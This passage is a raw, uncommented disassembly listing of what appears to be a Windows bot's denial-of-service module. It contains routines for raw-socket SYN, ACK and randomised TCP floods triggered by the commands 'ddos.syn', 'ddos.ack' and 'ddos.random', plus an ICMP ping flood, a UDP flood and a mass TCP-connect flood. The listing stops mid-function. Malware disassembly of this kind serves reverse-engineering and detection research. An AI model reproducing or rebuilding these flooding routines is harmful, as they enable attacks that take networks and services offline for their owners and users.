loc_4136E0: ; CODE XREF: sub_413444+271j cmp [ebp+var_4], 50h jz loc_413782 cmp [ebp+arg_0], 50h jz loc_413782 lea eax, [ebp+var_1138C] push eax call sub_413144 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_41372A push [ebp+arg_0] lea eax, [ebp+var_BB8] push eax lea eax, [ebp+var_13B8] push [ebp+var_4] push eax push offset unk_439A5C jmp loc_4137B3 ; --------------------------------------------------------------------------- loc_41372A: ; CODE XREF: sub_413444+2C6j call sub_41325B test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_413756 push [ebp+arg_0] lea eax, [ebp+var_BB8] push eax lea eax, [ebp+var_13B8] push [ebp+var_4] push eax push offset unk_439A28 jmp short loc_4137B3 ; --------------------------------------------------------------------------- loc_413756: ; CODE XREF: sub_413444+2F5j call sub_4132D1 test al, al pop ecx jz short loc_413782 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push [ebp+arg_0] push eax lea eax, [ebp+var_13B8] push [ebp+var_4] push eax push offset unk_4399F4 jmp short loc_4137B3 ; --------------------------------------------------------------------------- loc_413782: ; CODE XREF: sub_413444+2A0j ; sub_413444+2AAj ... lea eax, [ebp+var_1138C] push eax call sub_413358 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_4137F1 push [ebp+arg_0] lea eax, [ebp+var_BB8] push eax lea eax, [ebp+var_13B8] push [ebp+var_4] push eax push offset unk_4399BC loc_4137B3: ; CODE XREF: sub_413444+2E1j ; sub_413444+310j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41BFF0 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_4135EB push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409743 add esp, 14h jmp loc_4135EB ; --------------------------------------------------------------------------- loc_4137F1: ; CODE XREF: sub_413444+354j call sub_4133DF test al, al pop ecx jz loc_4135EB lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push [ebp+arg_0] push eax lea eax, [ebp+var_13B8] push [ebp+var_4] push eax push offset unk_439984 jmp short loc_4137B3 sub_413444 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413821 proc near ; DATA XREF: sub_401AA1+6422o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call dword_4280B0 ; GetTickCount push eax call sub_41BF48 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_413C09 push eax lea eax, [ebp+var_494] push offset unk_439AEC push eax call sub_41BEF6 xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_4138B1 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_409743 add esp, 14h loc_4138B1: ; CODE XREF: sub_413821+6Ej lea eax, [ebp+var_494] push eax call sub_415F45 push [ebp+var_290] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread pop edi pop esi sub_413821 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4138D3 proc near ; CODE XREF: sub_413C09+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CE278 ; WSAStartup test eax, eax jz short loc_413913 xor eax, eax jmp loc_413BDC ; --------------------------------------------------------------------------- loc_413913: ; CODE XREF: sub_4138D3+37j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CE3AC ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_413BD4 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CE2E8 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_413BCA push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CE308 ; ntohs mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CE308 ; ntohs push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CE308 ; ntohs mov [ebp+var_12], ax call sub_41BF52 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CE308 ; ntohs push 12345678h mov [ebp+var_14], ax call dword_4CE304 ; ntohl push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_4139E3 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_413A37 ; --------------------------------------------------------------------------- loc_4139E3: ; CODE XREF: sub_4138D3+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_4139FF mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_413A37 ; --------------------------------------------------------------------------- loc_4139FF: ; CODE XREF: sub_4138D3+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_413A37 call sub_41BF52 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41BF52 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_413A37: ; CODE XREF: sub_4138D3+10Ej ; sub_4138D3+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CE308 ; ntohs mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call dword_428140 ; QueryPerformanceFrequency lea eax, [ebp+var_1C] push eax call dword_42813C ; QueryPerformanceCounter push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41D920 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_413A85: ; CODE XREF: sub_4138D3+2E2j ; sub_4138D3+2EEj mov [ebp+var_4], bx call sub_41BF52 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CE308 ; ntohs mov [ebp+var_14], ax call sub_41BF52 mov edi, eax shl edi, 10h call sub_41BF52 or edi, eax push edi call dword_4CE308 ; ntohs movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CE304 ; ntohl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CE308 ; ntohs mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41C9B0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call near ptr sub_41C9B0 lea eax, [ebp+var_B4] push 34h push eax call sub_40A92E mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41C9B0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41C9B0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BC00 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40A92E mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41C9B0 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CE36C ; sendto cmp eax, 0FFFFFFFFh jz short loc_413BE0 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call dword_42813C ; QueryPerformanceCounter mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_413BC7 jl loc_413A85 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jb loc_413A85 loc_413BC7: ; CODE XREF: sub_4138D3+2E0j mov ebx, [ebp+arg_8] loc_413BCA: ; CODE XREF: sub_4138D3+78j ; sub_4138D3+334j push [ebp+var_20] call dword_4CE3A0 ; closesocket pop esi loc_413BD4: ; CODE XREF: sub_4138D3+5Bj call dword_4CE260 ; WSACleanup mov eax, ebx loc_413BDC: ; CODE XREF: sub_4138D3+3Bj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_413BE0: ; CODE XREF: sub_4138D3+2CBj call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset dword_439B14 push eax call sub_41BEF6 lea eax, [ebp+var_F4] push eax call sub_415F45 add esp, 10h jmp short loc_413BCA sub_4138D3 endp ; =============== S U B R O U T I N E ======================================= sub_413C09 proc near ; CODE XREF: sub_413821+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40A7C5 push [esp+10h+arg_4] mov esi, eax call sub_41BDE9 push [esp+14h+arg_C] mov ebx, eax call sub_41BDE9 mov edi, eax call sub_41BF52 cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4138D3 add esp, 20h test eax, eax jnz short loc_413C56 inc eax loc_413C56: ; CODE XREF: sub_413C09+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_413C09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413C65 proc near ; DATA XREF: sub_401AA1+6612o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh mov eax, [ebp+arg_0] push ebx push esi push edi push 68h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_1BC] push 0FFh inc ebx push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_4CE388 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_413D00 call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_439C14 push eax call sub_41BEF6 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_413CE3 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409743 add esp, 14h loc_413CE3: ; CODE XREF: sub_413C65+5Cj lea eax, [ebp+var_3BC] push eax call sub_415F45 push [ebp+var_38] call sub_40B56A pop ecx pop ecx push edi call dword_4280D4 ; ExitThread loc_413D00: ; CODE XREF: sub_413C65+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_4CE2E8 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_413D77 call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_3BC] push offset unk_439BE4 push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_413D5A push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409743 add esp, 14h loc_413D5A: ; CODE XREF: sub_413C65+D3j lea eax, [ebp+var_3BC] push eax call sub_415F45 push [ebp+var_38] call sub_40B56A pop ecx pop ecx push edi call dword_4280D4 ; ExitThread loc_413D77: ; CODE XREF: sub_413C65+B3j lea eax, [ebp+var_1B8] push eax call dword_4CE348 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_413DDE lea eax, [ebp+var_3BC] push offset unk_439BC4 push eax call sub_41BEF6 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_413DC1 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409743 add esp, 14h loc_413DC1: ; CODE XREF: sub_413C65+13Aj lea eax, [ebp+var_3BC] push eax call sub_415F45 push [ebp+var_38] call sub_40B56A pop ecx pop ecx push edi call dword_4280D4 ; ExitThread loc_413DDE: ; CODE XREF: sub_413C65+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_4CE308 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_4CE348 ; inet_addr mov esi, dword_4280B0 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax jmp loc_413F3F ; --------------------------------------------------------------------------- loc_413E21: ; CODE XREF: sub_413C65+2EBj push 41Ch mov byte_4D1050, 45h call dword_4CE308 ; ntohs cmp [ebp+var_2C], edi mov word_4D1052, ax mov word_4D1054, bx mov word_4D1056, di mov byte_4D1058, 80h mov byte_4D1059, bl mov word_4D105A, di jz short loc_413E90 call sub_41BF52 mov ebx, eax shl ebx, 8 call sub_41BF52 add ebx, eax shl ebx, 8 call sub_41BF52 add ebx, eax shl ebx, 8 call sub_41BF52 add ebx, eax mov dword_4D105C, ebx xor ebx, ebx inc ebx jmp short loc_413EA8 ; --------------------------------------------------------------------------- loc_413E90: ; CODE XREF: sub_413C65+1F9j push [ebp+var_1BC] call sub_40A8D5 pop ecx push eax call dword_4CE348 ; inet_addr mov dword_4D105C, eax loc_413EA8: ; CODE XREF: sub_413C65+229j mov eax, [ebp+var_18] mov dword_4D1060, eax call sub_41BF52 cdq mov ecx, 100h idiv ecx mov byte_4D1064, dl call sub_41BF52 cdq mov ecx, 100h idiv ecx mov byte_4D1065, dl call sub_41BF52 cdq mov ecx, 0F0h push 400h idiv ecx mov word_4D1066, di mov word_4D106A, bx inc edx mov word_4D1068, dx call sub_41BF52 cdq mov ecx, 0FFh idiv ecx push edx push offset dword_4D106C call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_4D1050 push [ebp+var_4] call dword_4CE36C ; sendto cmp eax, 0FFFFFFFFh jz loc_413FDB inc [ebp+arg_0] loc_413F3F: ; CODE XREF: sub_413C65+1B7j call esi ; GetTickCount sub eax, [ebp+var_8] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+var_30] jbe loc_413E21 push [ebp+var_4] call dword_4CE3A0 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_439B78 push eax call sub_41BEF6 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_413FBE push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409743 add esp, 14h loc_413FBE: ; CODE XREF: sub_413C65+337j lea eax, [ebp+var_3BC] push eax call sub_415F45 push [ebp+var_38] call sub_40B56A pop ecx pop ecx push edi call dword_4280D4 ; ExitThread loc_413FDB: ; CODE XREF: sub_413C65+2D1j push [ebp+var_4] call dword_4CE3A0 ; closesocket call dword_4CE29C ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_439B30 lea eax, [ebp+var_3BC] push 200h push eax call sub_41BFF0 add esp, 18h cmp [ebp+var_24], edi jnz short loc_414033 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409743 add esp, 14h loc_414033: ; CODE XREF: sub_413C65+3ACj lea eax, [ebp+var_3BC] push eax call sub_415F45 push [ebp+var_38] call sub_40B56A pop ecx pop ecx push edi call dword_4280D4 ; ExitThread sub_413C65 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414050 proc near ; DATA XREF: sub_401AA1+5436o var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_41C190 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd xor edi, edi inc edi mov [eax+120h], edi call dword_4CE290 ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_4CE348 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_4140AB lea eax, [ebp+var_C0] push eax call dword_4CE38C ; gethostbyname cmp eax, ebx jz short loc_4140B1 loc_4140AB: ; CODE XREF: sub_414050+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_41410E loc_4140B1: ; CODE XREF: sub_414050+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_439C6C push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_4140F1 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_409743 add esp, 14h loc_4140F1: ; CODE XREF: sub_414050+7Fj lea eax, [ebp+var_344] push eax call sub_415F45 push [ebp+var_30] call sub_40B56A pop ecx pop ecx push edi call dword_4280D4 ; ExitThread loc_41410E: ; CODE XREF: sub_414050+5Fj cmp eax, ebx jz short loc_41411E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_414121 ; --------------------------------------------------------------------------- loc_41411E: ; CODE XREF: sub_414050+C0j mov [ebp+var_4], esi loc_414121: ; CODE XREF: sub_414050+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_41BC00 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_414141 mov [ebp+var_3C], eax loc_414141: ; CODE XREF: sub_414050+ECj cmp [ebp+var_38], edi jge short loc_414149 mov [ebp+var_38], edi loc_414149: ; CODE XREF: sub_414050+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_414176 loc_414150: ; CODE XREF: sub_414050+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_4CE220 ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_414150 loc_414176: ; CODE XREF: sub_414050+FEj push [ebp+arg_0] call dword_4CE3BC ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_439C40 push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_4141BF push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_409743 add esp, 14h loc_4141BF: ; CODE XREF: sub_414050+14Dj lea eax, [ebp+var_344] push eax call sub_415F45 push [ebp+var_30] call sub_40B56A pop ecx pop ecx push ebx call dword_4280D4 ; ExitThread sub_414050 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141DC proc near ; DATA XREF: sub_401AA1+567Eo var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_41C190 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd xor esi, esi inc esi mov [eax+120h], esi call dword_4280B0 ; GetTickCount push eax call sub_41BF48 pop ecx push 11h push 2 push 2 call dword_4CE388 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_4CE348 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_4142C1 lea eax, [ebp+var_B0] push eax call dword_4CE38C ; gethostbyname cmp eax, edi jnz short loc_4142BA lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset unk_439CC0 push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_41429D push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_409743 add esp, 14h loc_41429D: ; CODE XREF: sub_4141DC+9Fj lea eax, [ebp+var_334] push eax call sub_415F45 push [ebp+var_20] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread loc_4142BA: ; CODE XREF: sub_4141DC+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_4142C4 ; --------------------------------------------------------------------------- loc_4142C1: ; CODE XREF: sub_4141DC+6Ej lea eax, [ebp+arg_0] loc_4142C4: ; CODE XREF: sub_4141DC+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_4142DF call sub_41BF52 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_4142E2 ; --------------------------------------------------------------------------- loc_4142DF: ; CODE XREF: sub_4141DC+F0j push [ebp+var_24] loc_4142E2: ; CODE XREF: sub_4141DC+101j call dword_4CE308 ; ntohs cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_4142F4 mov [ebp+var_24], esi loc_4142F4: ; CODE XREF: sub_4141DC+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_414301 mov [ebp+var_24], eax loc_414301: ; CODE XREF: sub_4141DC+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_414315 mov [ebp+var_28], esi loc_414315: ; CODE XREF: sub_4141DC+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_41438E loc_41431C: ; CODE XREF: sub_4141DC+158j call sub_41BF52 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_41431C jmp short loc_41438E ; --------------------------------------------------------------------------- loc_414338: ; CODE XREF: sub_4141DC+1B5j dec [ebp+var_30] push 0Bh pop esi loc_41433E: ; CODE XREF: sub_4141DC+192j lea eax, [ebp+var_10] push 10h push eax push edi call sub_41BF52 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_4CE36C ; sendto push [ebp+var_28] call dword_428080 ; Sleep dec esi jnz short loc_41433E cmp [ebp+var_24], edi jnz short loc_41438E call sub_41BF52 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_4CE308 ; ntohs mov [ebp+var_E], ax loc_41438E: ; CODE XREF: sub_4141DC+13Ej ; sub_4141DC+15Aj ... cmp [ebp+var_30], edi jg short loc_414338 dec [ebp+var_30] lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset unk_439C94 push eax call sub_41BEF6 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_4143D6 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_409743 add esp, 14h loc_4143D6: ; CODE XREF: sub_4141DC+1D8j lea eax, [ebp+var_334] push eax call sub_415F45 push [ebp+var_20] call sub_40B56A pop ecx pop ecx push edi call dword_4280D4 ; ExitThread sub_4141DC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143F3 proc near ; DATA XREF: sub_401AA1+4CFEo var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_414549 push eax lea eax, [ebp+var_414] push offset dword_439CE8 push eax call sub_41BEF6 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_414470 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_409743 add esp, 14h loc_414470: ; CODE XREF: sub_4143F3+5Bj lea eax, [ebp+var_414] push eax call sub_415F45 push [ebp+var_10] call sub_40B56A pop ecx pop ecx push esi call dword_4280D4 ; ExitThread pop edi pop esi sub_4143F3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41448F proc near ; CODE XREF: sub_414549+27p var_654 = dword ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CE308 ; ntohs mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_414545 push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_4144D9: ; CODE XREF: sub_41448F+B2j xor esi, esi loc_4144DB: ; CODE XREF: sub_41448F+77j push 0 push 1 push 2 call dword_42821C ; socket cmp eax, 0FFFFFFFFh mov [ebp+esi*4+var_654], eax jz short loc_414503 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call dword_4281F8 ; ioctlsocket loc_414503: ; CODE XREF: sub_41448F+62j inc esi cmp esi, edi jl short loc_4144DB xor esi, esi loc_41450A: ; CODE XREF: sub_41448F+91j lea eax, [ebp+var_14] push 10h push eax push [ebp+esi*4+var_654] call dword_428210 ; connect inc esi cmp esi, edi jl short loc_41450A push 64h call dword_428080 ; Sleep xor esi, esi loc_41452C: ; CODE XREF: sub_41448F+ADj push [ebp+esi*4+var_654] call dword_428218 ; closesocket inc esi cmp esi, edi jl short loc_41452C dec [ebp+arg_4] jnz short loc_4144D9 pop edi pop esi loc_414545: ; CODE XREF: sub_41448F+3Ej xor eax, eax leave retn sub_41448F endp ; =============== S U B R O U T I N E ======================================= sub_414549 proc near ; CODE XREF: sub_4143F3+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40A7C5 push [esp+10h+arg_4] mov edi, eax call sub_41BDE9 push 